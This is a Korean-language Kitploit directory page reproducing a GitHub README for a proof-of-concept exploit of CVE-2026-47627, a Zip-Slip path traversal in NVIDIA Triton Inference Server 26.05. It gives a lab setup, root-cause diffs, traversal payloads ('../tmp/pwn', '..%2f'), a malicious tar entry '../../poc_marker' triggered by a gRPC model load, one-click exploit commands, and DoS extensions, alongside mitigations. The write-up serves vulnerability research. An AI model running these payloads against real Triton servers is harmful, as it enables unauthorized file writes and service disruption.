Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-47627 — # CVE-2026-47627 개념 증명 익스플로잇 NVIDIA Triton Inference Server의 경로 탐색 취약점으로, Zip-Slip을 통해 임의 파일 쓰기로 이어지는 CVE-2026-47627에 대한 개념 증명 익스플로잇입니다. 상세 분석, 실습 환경, 원클릭 익스플로잇 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/anekazek/cve-2026-47627
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubanekazek/cve-2026-47627

cve-2026-47627

# CVE-2026-47627 개념 증명 익스플로잇 NVIDIA Triton Inference Server의 경로 탐색 취약점으로, Zip-Slip을 통해 임의 파일 쓰기로 이어지는 CVE-2026-47627에 대한 개념 증명 익스플로잇입니다. 상세 분석, 실습 환경, 원클릭 익스플로잇 스크립트를 포함합니다.

저장소 보기
1일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-47627 — NVIDIA Triton Inference Server 경로 탐색 → DoS (Zip-Slip)

이 저장소의 전체 연구 결과 및 PoC 상세 문서(nvcr.io/nvidia/tritonserver:26.05-py3 이미지 / server v2.69.0). 저장소는 항상 explicit 모드로 설정되어 gRPC를 통한 재시작 없는 PoC를 지원합니다.


목차

  1. CVE 요약
  2. 실험실 환경
  3. 취약점 구조
  4. 근본 원인 분석 (Diff 26.05 → 26.06)
  5. 공격 경로: 실제로 영향받는 경로는?
  6. 주요 PoC: EXECUTION_ENV_PATH를 통한 Zip-Slip
  7. PoC 실행 방법 (원클릭)
  8. 탐색 증거 (가짜 500 아님)
  9. DoS 영향
  10. 완화 조치
  11. 저장소 구조 (정리 후)
  • 참고 자료 및 타임라인

  • 1. CVE 요약

    필드값
    CVECVE-2026-47627
    CNA[email protected]
    공개일2026-08-18 (NVD 분석 대기 중)
    BulletinNV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865
    CVSS 3.19.8 CRITICAL AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    CWECWE-22 경로 탐색
    영향 버전0.0-26.05 (server v2.69.0 / core r26.05)
    수정 버전26.06 (server v2.70.0 / core r26.06)
    영향DoS (CNA 설명) — 본 연구는 Zip-Slip을 통한 /models 외부 파일 쓰기를 입증하며, 이는 DoS/리소스 고갈로 확장 가능
    발견자Martin Brodeur

    솔직한 고지: CNA 설명은 세부 정보 없이 경로 탐색 → DoS만 명시합니다. 본 문서는 r26.05..r26.06 diff 및 26.05-py3 컨테이너에서의 직접 테스트를 통해 버그 위치를 재구성합니다.


    2. 실험실 환경

    이미지: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)

    Compose는 항상 explicit 모드 (이 저장소에서 패치됨):

    root@kitploit:~
    # docker-compose.yml:12
    command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
    

    run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12도 explicit 모드입니다.

    Triton 모드:

    • NONE (업스트림 기본값) → 시작 시 한 번만 로드, POST /v2/repository/models/.../load → 503, 새 모델 로드 시 재시작 필요.
    • POLL → 저장소를 매초 스캔, 자동 로드, 명시적 로드는 여전히 차단.
    • EXPLICIT (이 저장소) → 스캔하지 않지만, gRPC load_model / POST /load 허용 → gRPC를 통한 재시작 없는 PoC.

    포트: | 8000 | HTTP REST | v2/health, v2/models, v2/repository | | 8001 | gRPC | RepositoryModelLoad, ModelInfer | | 8002 | Metrics | Prometheus |

    초기 모델:

    root@kitploit:~
    model_repository/
    ├── echo_python/ (python backend, model.py)
    │   └── 1/model.py
    └── identity_onnx/ (onnxruntime, model.onnx ~1KB)
    

    빠른 시작:

    root@kitploit:~
    docker compose up -d
    docker compose logs -f
    py scripts/client_test.py  # health + identity_onnx 추론
    

    3. 취약점 구조

    root@kitploit:~
    사용자 입력 (model_name / tar 항목) ──► join(parent, child) ──► canonicalize ──► "child가 parent 내부인지" 확인 ──► 파일 열기
             │                                    │                     │                         │                     │
             └──► "../tmp/pwn"               /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn    rfind vs find + '/' 확인    FileExists / extract
    
    • join에 canonicalize가 없거나 rfind(parent,0)==0 확인이 잘못된 경우(부분 일치 /models vs /models_evil), ../로 이스케이프 가능.
    • DoS는 탐색된 파일이 FIFO, /dev/zero, /proc/self/mem이거나 ../../를 포함한 tar가 시스템 파일을 덮어쓸 때 발생 → 중단 / OOM / 크래시.

    세 가지 연구 질문 (초기 보고서에서):

    1. 사용자가 경로를 제어하는 위치는? → gRPC RepositoryModelLoad의 model_name, EXECUTION_ENV_PATH tar 항목, file: 오버라이드, TRITON_BATCH_STRATEGY_PATH.
    2. 경로가 어떻게 사용되는가? → posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.
    3. 영향은 무엇인가? → 리소스 고갈/중단을 통한 DoS. 이 저장소에서는 /tmp/poc_marker로의 파일 쓰기가 입증됨.

    4. 근본 원인 분석 (Diff 26.05 → 26.06)

    core 저장소 (r26.05..r26.06):

    1. src/filesystem/api.cc:407 IsChildPathEscapingParentPath — dcb315d + 72f3d9b 수정:

      root@kitploit:~
      // 취약 (r26.05):
      absolute_child.rfind(absolute_parent,0) != 0
      // → 부분 일치 버그: "/models" 접두사가 "/models_evil/file"을 내부로 간주
      
      // 수정됨 (r26.06):
      canonical_child.find(canonical_parent,0)==0 &&
      ((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
      // → 접두사 뒤에 '/'가 있어야 함, "/models_evil"은 이제 올바르게 외부로 처리
      

      src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) 및 src/model_repository_manager/model_repository_manager.cc:162 (file:)에서 사용.

    2. src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (2026년 3월, 26.05에 이미 포함되었으나 26.06에서 강화):

      root@kitploit:~
      if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
      

      이로 인해 26.05에서 gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT (이미 차단됨). 그러나 %2f (인코딩된 /)는 리터럴 /가 아니므로 통과 → 리터럴 폴링으로 500.

    3. python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 테스트 zipslip_test.py: Tar는 .. / 절대 경로 확인 없이 추출됨. /models/poc_exploit/malicious_env.tar.gz의 ../../poc_marker 항목이 /tmp/poc_marker (모델 디렉터리 외부)로 추출됨. 26.06 수정: ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + IsChildPathEscapingParentPath 확인 사용.

    server 저장소 (r26.05..r26.06): sagemaker_server.cc:1027 (RE2::FullMatch 확인) + http_server.cc:2440 (atoi→stoi)만 변경, 이 CVE 경로와 무관.

    결론: HTTP/gRPC를 통한 model_name 경로는 26.05에서 ValidateModelName에 의해 이미 차단되었지만, tar Zip-Slip은 아직 차단되지 않음 — 이것이 이 저장소 PoC가 악용하는 지점입니다.


    5. 공격 경로: 실제로 영향받는 경로는?

    벡터페이로드26.05 결과영향?
    HTTP 원시 ../POST /v2/repository/models/../tmp/pwn/load404 (라우팅 정규화)❌
    HTTP 인코딩 ..%2fPOST /v2/repository/models/..%2ftmp%2fpwn/load500 리터럴, /models/..%2ftmp%2fpwn 폴링 없음❌ (가짜 500, 탐색 아님)
    gRPC 원시 ../tmp/pwnload_model('../tmp/pwn')400 INVALID_ARGUMENT❌ (이미 차단됨)
    gRPC 인코딩 ..%2fload_model('..%2ftmp%2fpwn')500 리터럴 폴링❌
    file: 오버라이드 ../models_evilfile:../models_evil/pwn부분 일치에 따라 400/500⚠️ (IsChildPathEscapingParentPath 버그에 따라 다르지만, model_name은 ValidateModelName으로 이미 차단)
    EXECUTION_ENV_PATH tar ../../poc_markermalicious_env.tar.gz 항목 ../../poc_marker200 + /tmp/poc_marker 파일✅ 취약

    이전 문서의 500 vs 400 비유는 잘못됨: 500 = 파일 없음(문 없음), 400 = 검증 거부(문 잠김). 둘 다 진입 불가. /tmp에 파일이 생성되는 200만이 증거입니다.


    6. 주요 PoC: EXECUTION_ENV_PATH를 통한 Zip-Slip

    아이디어: Python 백엔드 매개변수 EXECUTION_ENV_PATH가 $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz를 가리킴. load_model('poc_exploit') 시 백엔드 pb_env.cc:292가 tar를 검증 없이 추출. ../../poc_marker 항목이 .../poc_exploit/에서 /tmp/poc_marker로 이스케이프.

    PoC 단계 (scripts/exploit.py:28 및 exploit.ps1:20에서 자동화):

    1. echo_python → poc_exploit 복사 (scripts/exploit.py:35)
    2. config.pbtxt 추가 (scripts/exploit.py:40):
      root@kitploit:~
      parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
      
    3. tar 생성 (scripts/exploit.py:44):
      root@kitploit:~
      TarInfo(name='../../poc_marker', size=6, mode=0o644)  # → /tmp/poc_marker
      TarInfo(name='bin/activate', mode=0o755)
      
    4. gRPC load_model('poc_exploit') 트리거 (scripts/exploit.py:60) — explicit 모드이므로 재시작 없음.
    5. docker exec tritonserver-test cat /tmp/poc_marker → pwned 확인 (scripts/exploit.py:81)

    7. PoC 실행 방법 (원클릭)

    전제 조건: Docker, 26.05-py3 이미지가 docker compose up -d로 실행 중 (저장소는 explicit 모드).

    Python (재시작 없음, gRPC 경유):

    root@kitploit:~
    py scripts/exploit.py              # explicit 자동 감지 → gRPC
    py scripts/exploit.py --keep       # 수동 확인용 아티팩트 유지
    # 수동 확인: docker exec tritonserver-test cat /tmp/poc_marker
    # 수동 정리: docker exec tritonserver-test rm -f /tmp/poc_marker
    

    PowerShell:

    root@kitploit:~
    powershell -ExecutionPolicy Bypass -File exploit.ps1
    powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
    

    MODE_NONE으로 복원 (업스트림 기본값 원할 경우):

    root@kitploit:~
    # docker-compose.yml:12에서 --model-control-mode=explicit 제거
    docker compose up -d --force-recreate
    

    차단 테스트 (200이 아닌 400/404/500이어야 함):

    root@kitploit:~
    py scripts/test_http_grpc_blocked.py  # 이전 저장소에 있었으나 현재 삭제됨 — exploit.py 로그 사용
    # 또는 수동:
    curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}"  # 500
    py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')"  # 400
    

    8. 탐색 증거 (가짜 500 아님)

    취약 버전 (26.05) — exploit.py 출력:

    root@kitploit:~
    [*] gRPC 로드를 통한 익스플로잇 트리거 (재시작 없음)...
    [+] gRPC 로드 전송됨
    [+] 취약: /tmp/poc_marker가 /models 외부에 존재
        cat: pwned
    [+] 익스플로잇 성공 — 저장소 외부 파일 쓰기 확인됨
    

    검증:

    root@kitploit:~
    docker exec tritonserver-test ls -l /tmp/poc_marker  # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
    docker exec tritonserver-test cat /tmp/poc_marker   # pwned
    docker logs tritonserver-test --tail 20 | grep Extracting  # Extracting Python execution env .../malicious_env.tar.gz
    

    패치 버전 (26.06) — 예상 결과:

    root@kitploit:~
    [-] 취약하지 않음: /tmp/poc_marker를 찾을 수 없음
    # 로그: Path contains '..'  (또는 Path is absolute)
    

    HTTP/gRPC ..는 500이 아닌 400이어야 함:

    root@kitploit:~
    # 26.05 gRPC 원시 ../ → 400 INVALID_ARGUMENT (ValidateModelName으로 이미 차단)
    # 26.05 gRPC ..%2f → 500 리터럴 폴링 (검증 우회하지만 실제 탐색 아님)
    # 26.06 둘 다 → 400
    

    9. DoS 영향

    CNA는 DoS로 명시하지만, 이 Zip-Slip은 파일 덮어쓰기 → DoS 가능:

    • 다른 모델의 model.py / config.pbtxt 덮어쓰기 → 모델 로드 실패 → 503
    • 대용량 bin/activate 또는 FIFO /tmp/fifo를 포함한 tar → pb_env.cc 스레드 중단 → UNAVAILABLE
    • ../../dev/zero (무한)를 포함한 tar로 load_model 플러드 → OOM

    이 저장소는 탐색 증거로 파일 쓰기에 초점을 맞춤; 무한 루프 1/model.py를 포함한 tar로 DoS 확장 가능.


    10. 완화 조치

    1. 패치: 26.06 (server v2.70.0, core r26.06) — IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT.
    2. 26.05 우회 조치:
      • 8000/8001을 인터넷에 노출하지 않기 (리버스 프록시 + 인증)
      • WAF에서 URL 및 EXECUTION_ENV_PATH의 .. & %2f 차단
      • 필요하지 않으면 Python 백엔드 EXECUTION_ENV_PATH 비활성화
    3. 탐지: docker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f"

    11. 저장소 구조 (정리 후)

    root@kitploit:~
    .
    ├── model_repository/
    │   ├── echo_python/          # python 백엔드 샘플
    │   └── identity_onnx/        # onnxruntime 샘플
    ├── scripts/
    │   ├── exploit.py:1          # 주요 PoC (Python, 원클릭, gRPC, 재시작 없음)
    │   ├── generate_model.py     # identity_onnx 재생성
    │   └── client_test.py        # health + 추론 테스트
    ├── exploit.ps1:1             # 주요 PoC (PowerShell, 원클릭)
    ├── docker-compose.yml:12     # 항상 explicit
    ├── run_triton.bat:10 / .ps1:11 / .sh:12  # 항상 explicit
    ├── requirements.txt          # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
    └── README.md                 # 본 문서
    

    삭제됨: exploit_cve_*.py, poc_zipslip_simple.py, check_mode.py, test_http_grpc_blocked.py, cleanup_poc.py, test_poc.ps1, null, model_repository/zipslip_*, /tmp/poc_marker.


    12. 참고 자료 및 타임라인

    • Bulletin NV 5865: https://github.com/NVIDIA/product-security/tree/main/2026/5865 (5865.md, CVE-2026-47627.json)
    • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47627 (분석 대기 중)
    • core r26.06 수정 커밋: dcb315d (Modernize Child Path), 72f3d9b (child path 테스트), e520f8c7 (zipslip 테스트), 50830ba/66f09f8 (ValidateModelName)
    • server r26.06 수정: v2.70.0 (690f9dd)
    • 발견자: Martin Brodeur
    날짜이벤트
    2026-03-03core#472 ValidateModelName
    2026-03-16core#481 POSIX trim
    2026-05-18core#497 IsChildPathEscapingParentPath
    2026-06-02server#8857 zipslip 테스트
    2026-06-2626.06 / v2.70.0 패치 릴리스
    2026-08-18CVE 공개
    2026-09-02이 PoC 저장소가 26.05-py3에서 검증됨 → VULNERABLE

    참고

    이 PoC는 교육 및 폐쇄 실험실용입니다. 인증 없이 8000/8001을 노출하지 마세요. 데모 후 항상 exploit.py --keep 실행 후 docker exec tritonserver-test rm -f /tmp/poc_marker 및 Remove-Item -Recurse model_repository/poc_exploit를 실행하세요.

    도구 다운로드